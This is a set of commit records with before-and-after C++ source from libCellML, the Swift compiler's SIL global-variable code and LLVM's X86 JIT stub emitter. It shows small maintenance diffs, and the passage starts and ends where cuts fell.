{\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nImportSourcePtr AnyCellmlElement::importSource() const\n{\n if (mPimpl->mType == CellmlElementType::IMPORT) {\n try {\n return std::any_cast<ImportSourcePtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nModelPtr AnyCellmlElement::model() const\n{\n if ((mPimpl->mType == CellmlElementType::ENCAPSULATION)\n || (mPimpl->mType == CellmlElementType::MODEL)) {\n try {\n return std::any_cast<ModelPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nResetPtr AnyCellmlElement::reset() const\n{\n if (mPimpl->mType == CellmlElementType::RESET) {\n try {\n return std::any_cast<ResetPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nResetPtr AnyCellmlElement::resetValue() const\n{\n if (mPimpl->mType == CellmlElementType::RESET_VALUE) {\n try {\n return std::any_cast<ResetPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nResetPtr AnyCellmlElement::testValue() const\n{\n if (mPimpl->mType == CellmlElementType::TEST_VALUE) {\n try {\n return std::any_cast<ResetPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nUnitsPtr AnyCellmlElement::units() const\n{\n if (mPimpl->mType == CellmlElementType::UNITS) {\n try {\n return std::any_cast<UnitsPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nUnitsItemPtr AnyCellmlElement::unitsItem() const\n{\n if (mPimpl->mType == CellmlElementType::UNIT) {\n try {\n return std::any_cast<UnitsItemPtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nVariablePtr AnyCellmlElement::variable() const\n{\n if (mPimpl->mType == CellmlElementType::VARIABLE) {\n try {\n return std::any_cast<VariablePtr>(mPimpl->mItem);\n } catch(const std::bad_any_cast& e) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\n} \/\/ namespace libcellml\n<commit_msg>Make MSVC and Clang happy.<commit_after>\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#include \"libcellml\/types.h\"\n\n#include \"libcellml\/component.h\"\n#include \"libcellml\/importsource.h\"\n#include \"libcellml\/model.h\"\n#include \"libcellml\/reset.h\"\n#include \"libcellml\/units.h\"\n#include \"libcellml\/variable.h\"\n\n#include \"anycellmlelement_p.h\"\n#include \"internaltypes.h\"\n\nnamespace libcellml {\n\n\/**\n * @brief The UnitsItem::UnitsItemImpl struct.\n *\n * The private implementation for the UnitsItem class.\n *\/\nstruct UnitsItem::UnitsItemImpl\n{\n UnitsWeakPtr mUnits; \/**< Units that owns this units item.*\/\n size_t mIndex = std::numeric_limits<size_t>::max(); \/**< Index of this units item.*\/\n};\n\nUnitsItem::UnitsItem(const UnitsPtr &units, size_t index)\n : mPimpl(new UnitsItemImpl())\n{\n mPimpl->mUnits = units;\n mPimpl->mIndex = index;\n}\n\nUnitsItem::~UnitsItem()\n{\n delete mPimpl;\n}\n\nUnitsItemPtr UnitsItem::create(const UnitsPtr &units, size_t index) noexcept\n{\n return std::shared_ptr<UnitsItem> {new UnitsItem {units, index}};\n}\n\nUnitsPtr UnitsItem::units() const\n{\n return mPimpl->mUnits.lock();\n}\n\nsize_t UnitsItem::index() const\n{\n return mPimpl->mIndex;\n}\n\nbool UnitsItem::isValid() const\n{\n return mPimpl->mIndex < mPimpl->mUnits.lock()->unitCount();\n}\n\n\/**\n * @brief The VariablePair::VariablePairImpl struct.\n *\n * The private implementation for the VariablePair class.\n *\/\nstruct VariablePair::VariablePairImpl\n{\n VariableWeakPtr mVariable1; \/**< Variable 1 for the pair.*\/\n VariableWeakPtr mVariable2; \/**< Variable 2 for the pair.*\/\n};\n\nVariablePair::VariablePair(const VariablePtr &variable1, const VariablePtr &variable2)\n : mPimpl(new VariablePairImpl())\n{\n mPimpl->mVariable1 = variable1;\n mPimpl->mVariable2 = variable2;\n}\n\nVariablePairPtr VariablePair::create(const VariablePtr &variable1, const VariablePtr &variable2) noexcept\n{\n return std::shared_ptr<VariablePair> {new VariablePair {variable1, variable2}};\n}\n\nVariablePair::~VariablePair()\n{\n delete mPimpl;\n}\n\nVariablePtr VariablePair::variable1() const\n{\n return mPimpl->mVariable1.lock();\n}\n\nVariablePtr VariablePair::variable2() const\n{\n return mPimpl->mVariable2.lock();\n}\n\nbool VariablePair::isValid() const\n{\n return (mPimpl->mVariable1.lock() != nullptr) && (mPimpl->mVariable2.lock() != nullptr);\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setComponent(const ComponentPtr &component, CellmlElementType type)\n{\n mType = type;\n mItem = component;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setImportSource(const ImportSourcePtr &importSource)\n{\n mType = CellmlElementType::IMPORT;\n mItem = importSource;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setModel(const ModelPtr &model, CellmlElementType type)\n{\n mType = type;\n mItem = model;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setReset(const ResetPtr &reset, CellmlElementType type)\n{\n mType = type;\n mItem = reset;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setUnits(const UnitsPtr &units)\n{\n mType = CellmlElementType::UNITS;\n mItem = units;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setUnitsItem(const UnitsItemPtr &unitsItem)\n{\n mType = CellmlElementType::UNIT;\n mItem = unitsItem;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setVariable(const VariablePtr &variable)\n{\n mType = CellmlElementType::VARIABLE;\n mItem = variable;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setVariablePair(const VariablePairPtr &pair, CellmlElementType type)\n{\n mType = type;\n mItem = pair;\n}\n\nvoid AnyCellmlElement::AnyCellmlElementImpl::setVariablePair(const VariablePtr &variable1, const VariablePtr &variable2, CellmlElementType type)\n{\n mType = type;\n mItem = VariablePair::create(variable1, variable2);\n}\n\nAnyCellmlElement::AnyCellmlElement()\n : mPimpl(new AnyCellmlElementImpl())\n{\n}\n\nAnyCellmlElement::~AnyCellmlElement()\n{\n delete mPimpl;\n}\n\nCellmlElementType AnyCellmlElement::type() const\n{\n return mPimpl->mType;\n}\n\nComponentPtr AnyCellmlElement::component() const\n{\n if ((mPimpl->mType == CellmlElementType::COMPONENT)\n || (mPimpl->mType == CellmlElementType::COMPONENT_REF)) {\n try {\n return std::any_cast<ComponentPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nVariablePairPtr AnyCellmlElement::variablePair() const\n{\n if ((mPimpl->mType == CellmlElementType::CONNECTION)\n || (mPimpl->mType == CellmlElementType::MAP_VARIABLES)) {\n try {\n return std::any_cast<VariablePairPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nImportSourcePtr AnyCellmlElement::importSource() const\n{\n if (mPimpl->mType == CellmlElementType::IMPORT) {\n try {\n return std::any_cast<ImportSourcePtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nModelPtr AnyCellmlElement::model() const\n{\n if ((mPimpl->mType == CellmlElementType::ENCAPSULATION)\n || (mPimpl->mType == CellmlElementType::MODEL)) {\n try {\n return std::any_cast<ModelPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nResetPtr AnyCellmlElement::reset() const\n{\n if (mPimpl->mType == CellmlElementType::RESET) {\n try {\n return std::any_cast<ResetPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nResetPtr AnyCellmlElement::resetValue() const\n{\n if (mPimpl->mType == CellmlElementType::RESET_VALUE) {\n try {\n return std::any_cast<ResetPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nResetPtr AnyCellmlElement::testValue() const\n{\n if (mPimpl->mType == CellmlElementType::TEST_VALUE) {\n try {\n return std::any_cast<ResetPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nUnitsPtr AnyCellmlElement::units() const\n{\n if (mPimpl->mType == CellmlElementType::UNITS) {\n try {\n return std::any_cast<UnitsPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nUnitsItemPtr AnyCellmlElement::unitsItem() const\n{\n if (mPimpl->mType == CellmlElementType::UNIT) {\n try {\n return std::any_cast<UnitsItemPtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\nVariablePtr AnyCellmlElement::variable() const\n{\n if (mPimpl->mType == CellmlElementType::VARIABLE) {\n try {\n return std::any_cast<VariablePtr>(mPimpl->mItem);\n } catch (const std::bad_any_cast &) {\n return nullptr;\n }\n }\n\n return nullptr;\n}\n\n} \/\/ namespace libcellml\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- SILGlobalVariable.cpp - Defines SILGlobalVariable structure ------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/SIL\/SILGlobalVariable.h\"\n#include \"swift\/SIL\/SILModule.h\"\n\nusing namespace swift;\n\nSILGlobalVariable *SILGlobalVariable::create(SILModule &M, SILLinkage linkage,\n bool IsFragile,\n StringRef name,\n SILType loweredType,\n Optional<SILLocation> loc,\n VarDecl *Decl) {\n \/\/ Get a StringMapEntry for the variable. As a sop to error cases,\n \/\/ allow the name to have an empty string.\n llvm::StringMapEntry<SILGlobalVariable*> *entry = nullptr;\n if (!name.empty()) {\n entry = &*M.GlobalVariableTable.insert(std::make_pair(name, nullptr)).first;\n assert(!entry->getValue() && \"global variable already exists\");\n name = entry->getKey();\n }\n\n auto var = new (M) SILGlobalVariable(M, linkage, IsFragile, name,\n loweredType, loc, Decl);\n\n if (entry) entry->setValue(var);\n return var;\n}\n\n\nSILGlobalVariable::SILGlobalVariable(SILModule &Module, SILLinkage Linkage,\n bool IsFragile,\n StringRef Name, SILType LoweredType,\n Optional<SILLocation> Loc, VarDecl *Decl)\n : Module(Module),\n Name(Name),\n LoweredType(LoweredType),\n Location(Loc),\n Linkage(unsigned(Linkage)),\n Fragile(IsFragile),\n\tVDecl(Decl) {\n IsDeclaration = isAvailableExternally(Linkage);\n setLet(Decl ? Decl->isLet() : false);\n InitializerF = nullptr;\n Module.silGlobals.push_back(this);\n}\n\nvoid SILGlobalVariable::setInitializer(SILFunction *InitF) {\n if (InitializerF)\n InitializerF->decrementRefCount();\n \/\/ Increment the ref count to make sure it will not be eliminated.\n InitF->incrementRefCount();\n InitializerF = InitF;\n}\n\nSILGlobalVariable::~SILGlobalVariable() {\n getModule().GlobalVariableTable.erase(Name);\n}\n\nstatic bool analyzeStaticInitializer(SILFunction *F, SILInstruction *&Val,\n SILGlobalVariable *&GVar) {\n Val = nullptr;\n GVar = nullptr;\n \/\/ We only handle a single SILBasicBlock for now.\n if (F->size() != 1)\n return false;\n\n SILBasicBlock *BB = &F->front();\n GlobalAddrInst *SGA = nullptr;\n bool HasStore = false;\n for (auto &I : *BB) {\n \/\/ Make sure we have a single GlobalAddrInst and a single StoreInst.\n \/\/ And the StoreInst writes to the GlobalAddrInst.\n if (auto *sga = dyn_cast<GlobalAddrInst>(&I)) {\n if (SGA)\n return false;\n SGA = sga;\n GVar = SGA->getReferencedGlobal();\n } else if (auto *SI = dyn_cast<StoreInst>(&I)) {\n if (HasStore || SI->getDest().getDef() != SGA)\n return false;\n HasStore = true;\n Val = dyn_cast<SILInstruction>(SI->getSrc().getDef());\n\n \/\/ We only handle StructInst being stored to a global variable for now.\n if (!isa<StructInst>(Val))\n return false;\n } else if (auto *ti = dyn_cast<TupleInst>(&I)) {\n if (ti->getNumOperands())\n return false;\n } else {\n if (I.getKind() != ValueKind::ReturnInst &&\n I.getKind() != ValueKind::StructInst &&\n I.getKind() != ValueKind::IntegerLiteralInst &&\n I.getKind() != ValueKind::FloatLiteralInst &&\n I.getKind() != ValueKind::StringLiteralInst)\n return false;\n }\n }\n return true;\n}\n\nbool SILGlobalVariable::canBeStaticInitializer(SILFunction *F) {\n SILInstruction *dummySI;\n SILGlobalVariable *dummyGV;\n return analyzeStaticInitializer(F, dummySI, dummyGV);\n}\n\n\/\/\/ Check if a given SILFunction can be a static initializer. If yes, return\n\/\/\/ the SILGlobalVariable that it writes to.\nSILGlobalVariable *SILGlobalVariable::getVariableOfStaticInitializer(\n SILFunction *F) {\n SILInstruction *dummySI;\n SILGlobalVariable *GV;\n if(analyzeStaticInitializer(F, dummySI, GV))\n return GV;\n return nullptr;\n}\n\n\/\/\/ Return the value that is written into the global variable.\nSILInstruction *SILGlobalVariable::getValueOfStaticInitializer() {\n if (!InitializerF)\n return nullptr;\n\n SILInstruction *SI;\n SILGlobalVariable *dummyGV;\n if(analyzeStaticInitializer(InitializerF, SI, dummyGV))\n return SI;\n return nullptr;\n}\n<commit_msg>[globalopt] fptrunc(float_literal) can be considered to be a simple static initializer.<commit_after>\/\/===--- SILGlobalVariable.cpp - Defines SILGlobalVariable structure ------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"swift\/SIL\/SILGlobalVariable.h\"\n#include \"swift\/SIL\/SILModule.h\"\n\nusing namespace swift;\n\nSILGlobalVariable *SILGlobalVariable::create(SILModule &M, SILLinkage linkage,\n bool IsFragile,\n StringRef name,\n SILType loweredType,\n Optional<SILLocation> loc,\n VarDecl *Decl) {\n \/\/ Get a StringMapEntry for the variable. As a sop to error cases,\n \/\/ allow the name to have an empty string.\n llvm::StringMapEntry<SILGlobalVariable*> *entry = nullptr;\n if (!name.empty()) {\n entry = &*M.GlobalVariableTable.insert(std::make_pair(name, nullptr)).first;\n assert(!entry->getValue() && \"global variable already exists\");\n name = entry->getKey();\n }\n\n auto var = new (M) SILGlobalVariable(M, linkage, IsFragile, name,\n loweredType, loc, Decl);\n\n if (entry) entry->setValue(var);\n return var;\n}\n\n\nSILGlobalVariable::SILGlobalVariable(SILModule &Module, SILLinkage Linkage,\n bool IsFragile,\n StringRef Name, SILType LoweredType,\n Optional<SILLocation> Loc, VarDecl *Decl)\n : Module(Module),\n Name(Name),\n LoweredType(LoweredType),\n Location(Loc),\n Linkage(unsigned(Linkage)),\n Fragile(IsFragile),\n\tVDecl(Decl) {\n IsDeclaration = isAvailableExternally(Linkage);\n setLet(Decl ? Decl->isLet() : false);\n InitializerF = nullptr;\n Module.silGlobals.push_back(this);\n}\n\nvoid SILGlobalVariable::setInitializer(SILFunction *InitF) {\n if (InitializerF)\n InitializerF->decrementRefCount();\n \/\/ Increment the ref count to make sure it will not be eliminated.\n InitF->incrementRefCount();\n InitializerF = InitF;\n}\n\nSILGlobalVariable::~SILGlobalVariable() {\n getModule().GlobalVariableTable.erase(Name);\n}\n\nstatic bool analyzeStaticInitializer(SILFunction *F, SILInstruction *&Val,\n SILGlobalVariable *&GVar) {\n Val = nullptr;\n GVar = nullptr;\n \/\/ We only handle a single SILBasicBlock for now.\n if (F->size() != 1)\n return false;\n\n SILBasicBlock *BB = &F->front();\n GlobalAddrInst *SGA = nullptr;\n bool HasStore = false;\n for (auto &I : *BB) {\n \/\/ Make sure we have a single GlobalAddrInst and a single StoreInst.\n \/\/ And the StoreInst writes to the GlobalAddrInst.\n if (auto *sga = dyn_cast<GlobalAddrInst>(&I)) {\n if (SGA)\n return false;\n SGA = sga;\n GVar = SGA->getReferencedGlobal();\n } else if (auto *SI = dyn_cast<StoreInst>(&I)) {\n if (HasStore || SI->getDest().getDef() != SGA)\n return false;\n HasStore = true;\n Val = dyn_cast<SILInstruction>(SI->getSrc().getDef());\n\n \/\/ We only handle StructInst being stored to a global variable for now.\n if (!isa<StructInst>(Val))\n return false;\n } else if (auto *ti = dyn_cast<TupleInst>(&I)) {\n if (ti->getNumOperands())\n return false;\n } else {\n\n if (auto *bi = dyn_cast<BuiltinInst>(&I)) {\n switch (bi->getBuiltinInfo().ID) {\n case BuiltinValueKind::FPTrunc:\n if (isa<LiteralInst>(bi->getArguments()[0]))\n continue;\n break;\n default:\n return false;\n }\n }\n\n if (I.getKind() != ValueKind::ReturnInst &&\n I.getKind() != ValueKind::StructInst &&\n I.getKind() != ValueKind::IntegerLiteralInst &&\n I.getKind() != ValueKind::FloatLiteralInst &&\n I.getKind() != ValueKind::StringLiteralInst)\n return false;\n }\n }\n return true;\n}\n\nbool SILGlobalVariable::canBeStaticInitializer(SILFunction *F) {\n SILInstruction *dummySI;\n SILGlobalVariable *dummyGV;\n return analyzeStaticInitializer(F, dummySI, dummyGV);\n}\n\n\/\/\/ Check if a given SILFunction can be a static initializer. If yes, return\n\/\/\/ the SILGlobalVariable that it writes to.\nSILGlobalVariable *SILGlobalVariable::getVariableOfStaticInitializer(\n SILFunction *F) {\n SILInstruction *dummySI;\n SILGlobalVariable *GV;\n if(analyzeStaticInitializer(F, dummySI, GV))\n return GV;\n return nullptr;\n}\n\n\/\/\/ Return the value that is written into the global variable.\nSILInstruction *SILGlobalVariable::getValueOfStaticInitializer() {\n if (!InitializerF)\n return nullptr;\n\n SILInstruction *SI;\n SILGlobalVariable *dummyGV;\n if(analyzeStaticInitializer(InitializerF, SI, dummyGV))\n return SI;\n return nullptr;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- X86JITInfo.cpp - Implement the JIT interfaces for the X86 target --===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the JIT interfaces for the X86 target.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"jit\"\n#include \"X86JITInfo.h\"\n#include \"X86Relocations.h\"\n#include \"llvm\/CodeGen\/MachineCodeEmitter.h\"\n#include \"llvm\/Config\/alloca.h\"\n#include <cstdlib>\n#include <iostream>\nusing namespace llvm;\n\n#ifdef _MSC_VER\n extern \"C\" void *_AddressOfReturnAddress(void);\n #pragma intrinsic(_AddressOfReturnAddress)\n#endif\n\nvoid X86JITInfo::replaceMachineCodeForFunction(void *Old, void *New) {\n unsigned char *OldByte = (unsigned char *)Old;\n *OldByte++ = 0xE9; \/\/ Emit JMP opcode.\n unsigned *OldWord = (unsigned *)OldByte;\n unsigned NewAddr = (intptr_t)New;\n unsigned OldAddr = (intptr_t)OldWord;\n *OldWord = NewAddr - OldAddr - 4; \/\/ Emit PC-relative addr of New code.\n}\n\n\n\/\/\/ JITCompilerFunction - This contains the address of the JIT function used to\n\/\/\/ compile a function lazily.\nstatic TargetJITInfo::JITCompilerFn JITCompilerFunction;\n\n\/\/ Provide a wrapper for X86CompilationCallback2 that saves non-traditional\n\/\/ callee saved registers, for the fastcc calling convention.\nextern \"C\" {\n#if defined(__i386__) || defined(i386) || defined(_M_IX86)\n#ifndef _MSC_VER\n void X86CompilationCallback(void);\n asm(\n \".text\\n\"\n \".align 8\\n\"\n#if defined(__CYGWIN__) || defined(__APPLE__) || defined(__MINGW32__)\n \".globl _X86CompilationCallback\\n\"\n \"_X86CompilationCallback:\\n\"\n#else\n \".globl X86CompilationCallback\\n\"\n \"X86CompilationCallback:\\n\"\n#endif\n \"pushl %ebp\\n\"\n \"movl %esp, %ebp\\n\" \/\/ Standard prologue\n \"pushl %eax\\n\"\n \"pushl %edx\\n\" \/\/ save EAX\/EDX\n#if defined(__CYGWIN__) || defined(__MINGW32__)\n \"call _X86CompilationCallback2\\n\"\n#elif defined(__APPLE__)\n \"movl 4(%ebp), %eax\\n\" \/\/ load the address of return address\n \"movl $24, %edx\\n\" \/\/ if the opcode of the instruction at the\n \"cmpb $-51, (%eax)\\n\" \/\/ return address is our 0xCD marker, then\n \"movl $12, %eax\\n\" \/\/ subtract 24 from %esp to realign it to 16\n \"cmovne %eax, %edx\\n\" \/\/ bytes after the push of edx, the amount to.\n \"subl %edx, %esp\\n\" \/\/ the push of edx to keep it aligned.\n \"pushl %edx\\n\" \/\/ subtract. Otherwise, subtract 12 bytes after\n \"call _X86CompilationCallback2\\n\"\n \"popl %edx\\n\"\n \"addl %edx, %esp\\n\"\n#else\n \"call X86CompilationCallback2\\n\"\n#endif\n \"popl %edx\\n\"\n \"popl %eax\\n\"\n \"popl %ebp\\n\"\n \"ret\\n\");\n#else\n void X86CompilationCallback2(void);\n\n _declspec(naked) void X86CompilationCallback(void) {\n __asm {\n push eax\n push edx\n call X86CompilationCallback2\n pop edx\n pop eax\n ret\n }\n }\n#endif \/\/ _MSC_VER\n\n#else \/\/ Not an i386 host\n void X86CompilationCallback() {\n std::cerr << \"Cannot call X86CompilationCallback() on a non-x86 arch!\\n\";\n abort();\n }\n#endif\n}\n\n\/\/\/ X86CompilationCallback - This is the target-specific function invoked by the\n\/\/\/ function stub when we did not know the real target of a call. This function\n\/\/\/ must locate the start of the stub or call site and pass it into the JIT\n\/\/\/ compiler function.\nextern \"C\" void X86CompilationCallback2() {\n#ifdef _MSC_VER\n assert(sizeof(size_t) == 4); \/\/ FIXME: handle Win64\n unsigned *RetAddrLoc = (unsigned *)_AddressOfReturnAddress();\n RetAddrLoc += 3; \/\/ skip over ret addr, edx, eax\n unsigned RetAddr = *RetAddrLoc;\n#else\n unsigned *StackPtr = (unsigned*)__builtin_frame_address(1);\n unsigned RetAddr = (unsigned)(intptr_t)__builtin_return_address(1);\n unsigned *RetAddrLoc = &StackPtr[1];\n\n \/\/ NOTE: __builtin_frame_address doesn't work if frame pointer elimination has\n \/\/ been performed. Having a variable sized alloca disables frame pointer\n \/\/ elimination currently, even if it's dead. This is a gross hack.\n alloca(10+(RetAddr >> 31));\n\n#endif\n assert(*RetAddrLoc == RetAddr &&\n \"Could not find return address on the stack!\");\n\n \/\/ It's a stub if there is an interrupt marker after the call.\n bool isStub = ((unsigned char*)(intptr_t)RetAddr)[0] == 0xCD;\n\n \/\/ The call instruction should have pushed the return value onto the stack...\n RetAddr -= 4; \/\/ Backtrack to the reference itself...\n\n#if 0\n DEBUG(std::cerr << \"In callback! Addr=\" << (void*)RetAddr\n << \" ESP=\" << (void*)StackPtr\n << \": Resolving call to function: \"\n << TheVM->getFunctionReferencedName((void*)RetAddr) << \"\\n\");\n#endif\n\n \/\/ Sanity check to make sure this really is a call instruction.\n assert(((unsigned char*)(intptr_t)RetAddr)[-1] == 0xE8 &&\"Not a call instr!\");\n\n unsigned NewVal = (intptr_t)JITCompilerFunction((void*)(intptr_t)RetAddr);\n\n \/\/ Rewrite the call target... so that we don't end up here every time we\n \/\/ execute the call.\n *(unsigned*)(intptr_t)RetAddr = NewVal-RetAddr-4;\n\n if (isStub) {\n \/\/ If this is a stub, rewrite the call into an unconditional branch\n \/\/ instruction so that two return addresses are not pushed onto the stack\n \/\/ when the requested function finally gets called. This also makes the\n \/\/ 0xCD byte (interrupt) dead, so the marker doesn't effect anything.\n ((unsigned char*)(intptr_t)RetAddr)[-1] = 0xE9;\n }\n\n \/\/ Change the return address to reexecute the call instruction...\n *RetAddrLoc -= 5;\n}\n\nTargetJITInfo::LazyResolverFn\nX86JITInfo::getLazyResolverFunction(JITCompilerFn F) {\n JITCompilerFunction = F;\n return X86CompilationCallback;\n}\n\nvoid *X86JITInfo::emitFunctionStub(void *Fn, MachineCodeEmitter &MCE) {\n if (Fn != (void*)X86CompilationCallback) {\n MCE.startFunctionStub(5);\n MCE.emitByte(0xE9);\n MCE.emitWordLE((intptr_t)Fn-MCE.getCurrentPCValue()-4);\n return MCE.finishFunctionStub(0);\n }\n\n MCE.startFunctionStub(6);\n MCE.emitByte(0xE8); \/\/ Call with 32 bit pc-rel destination...\n\n MCE.emitWordLE((intptr_t)Fn-MCE.getCurrentPCValue()-4);\n\n MCE.emitByte(0xCD); \/\/ Interrupt - Just a marker identifying the stub!\n return MCE.finishFunctionStub(0);\n}\n\n\/\/\/ relocate - Before the JIT can run a block of code that has been emitted,\n\/\/\/ it must rewrite the code to contain the actual addresses of any\n\/\/\/ referenced global symbols.\nvoid X86JITInfo::relocate(void *Function, MachineRelocation *MR,\n unsigned NumRelocs, unsigned char* GOTBase) {\n for (unsigned i = 0; i != NumRelocs; ++i, ++MR) {\n void *RelocPos = (char*)Function + MR->getMachineCodeOffset();\n intptr_t ResultPtr = (intptr_t)MR->getResultPointer();\n switch ((X86::RelocationType)MR->getRelocationType()) {\n case X86::reloc_pcrel_word:\n \/\/ PC relative relocation, add the relocated value to the value already in\n \/\/ memory, after we adjust it for where the PC is.\n ResultPtr = ResultPtr-(intptr_t)RelocPos-4;\n *((intptr_t*)RelocPos) += ResultPtr;\n break;\n case X86::reloc_absolute_word:\n \/\/ Absolute relocation, just add the relocated value to the value already\n \/\/ in memory.\n *((intptr_t*)RelocPos) += ResultPtr;\n break;\n }\n }\n}\n<commit_msg>Silence -pedantic warning.<commit_after>\/\/===-- X86JITInfo.cpp - Implement the JIT interfaces for the X86 target --===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the JIT interfaces for the X86 target.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#define DEBUG_TYPE \"jit\"\n#include \"X86JITInfo.h\"\n#include \"X86Relocations.h\"\n#include \"llvm\/CodeGen\/MachineCodeEmitter.h\"\n#include \"llvm\/Config\/alloca.h\"\n#include <cstdlib>\n#include <iostream>\nusing namespace llvm;\n\n#ifdef _MSC_VER\n extern \"C\" void *_AddressOfReturnAddress(void);\n #pragma intrinsic(_AddressOfReturnAddress)\n#endif\n\nvoid X86JITInfo::replaceMachineCodeForFunction(void *Old, void *New) {\n unsigned char *OldByte = (unsigned char *)Old;\n *OldByte++ = 0xE9; \/\/ Emit JMP opcode.\n unsigned *OldWord = (unsigned *)OldByte;\n unsigned NewAddr = (intptr_t)New;\n unsigned OldAddr = (intptr_t)OldWord;\n *OldWord = NewAddr - OldAddr - 4; \/\/ Emit PC-relative addr of New code.\n}\n\n\n\/\/\/ JITCompilerFunction - This contains the address of the JIT function used to\n\/\/\/ compile a function lazily.\nstatic TargetJITInfo::JITCompilerFn JITCompilerFunction;\n\n\/\/ Provide a wrapper for X86CompilationCallback2 that saves non-traditional\n\/\/ callee saved registers, for the fastcc calling convention.\nextern \"C\" {\n#if defined(__i386__) || defined(i386) || defined(_M_IX86)\n#ifndef _MSC_VER\n void X86CompilationCallback(void);\n asm(\n \".text\\n\"\n \".align 8\\n\"\n#if defined(__CYGWIN__) || defined(__APPLE__) || defined(__MINGW32__)\n \".globl _X86CompilationCallback\\n\"\n \"_X86CompilationCallback:\\n\"\n#else\n \".globl X86CompilationCallback\\n\"\n \"X86CompilationCallback:\\n\"\n#endif\n \"pushl %ebp\\n\"\n \"movl %esp, %ebp\\n\" \/\/ Standard prologue\n \"pushl %eax\\n\"\n \"pushl %edx\\n\" \/\/ save EAX\/EDX\n#if defined(__CYGWIN__) || defined(__MINGW32__)\n \"call _X86CompilationCallback2\\n\"\n#elif defined(__APPLE__)\n \"movl 4(%ebp), %eax\\n\" \/\/ load the address of return address\n \"movl $24, %edx\\n\" \/\/ if the opcode of the instruction at the\n \"cmpb $-51, (%eax)\\n\" \/\/ return address is our 0xCD marker, then\n \"movl $12, %eax\\n\" \/\/ subtract 24 from %esp to realign it to 16\n \"cmovne %eax, %edx\\n\" \/\/ bytes after the push of edx, the amount to.\n \"subl %edx, %esp\\n\" \/\/ the push of edx to keep it aligned.\n \"pushl %edx\\n\" \/\/ subtract. Otherwise, subtract 12 bytes after\n \"call _X86CompilationCallback2\\n\"\n \"popl %edx\\n\"\n \"addl %edx, %esp\\n\"\n#else\n \"call X86CompilationCallback2\\n\"\n#endif\n \"popl 